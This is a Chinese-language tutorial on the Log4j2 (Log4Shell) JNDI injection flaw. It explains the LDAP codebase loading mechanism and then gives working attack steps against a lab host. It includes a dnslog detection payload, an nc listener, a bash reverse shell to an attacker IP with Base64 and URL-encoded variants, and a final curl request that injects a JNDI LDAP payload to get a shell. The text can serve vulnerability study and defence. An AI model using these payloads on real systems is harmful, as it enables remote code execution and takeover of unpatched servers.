Log4j2漏洞原理、复现与利用
1、漏洞原理
JNDI:Java Naming and Directory Interface(java命名和目录接口)。
LDAP:Lightweight Directory Access Protocol(轻型目录访问协议)。
RMI:Remote Method Invoke(远程方法调用)。
因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
1.1 攻击流程:
1、攻击者向存在风险的接口发送恶意payload:${jndi:ldap://localhost:9999/Test} 。
2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。(接口会将前端输入直接通过日志打印出来)
3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。
1.2 总结即4步:
1、攻击者发送带有恶意Ldap内容的字符串,让服务器通过log4j2打印。
2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
2、漏洞复现
2.1 Log4j2漏洞探测payload:
curl 172.30.7.168:38080/hello -X POST -d 'payload=${jndi:ldap://y8nouf.dnslog.cn/aa}'
3、漏洞利用
3.1 利用Log4j2-RCE getshell
3.1.1 Kali开启HTTP(8080)和LDAP(1389)服务:
3.1.2 开启nc监听:
nc -lvnp 9999
3.1.3 构造Payload触发:
## bash一句话
bash -i >& /dev/tcp/172.30.7.181/9999 0>&1
## Base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuNy4xODEvOTk5OSAwPiYx
## URL编码+号
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xNzIuMzAuNy4xODEvOTk5OSAwPiYx
## 构造Payload
curl 172.30.7.168:38080/hello -X POST -d 'payload=${jndi:ldap://172.30.7.181:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xNzIuMzAuNy4xODEvOTk5OSAwPiYx}'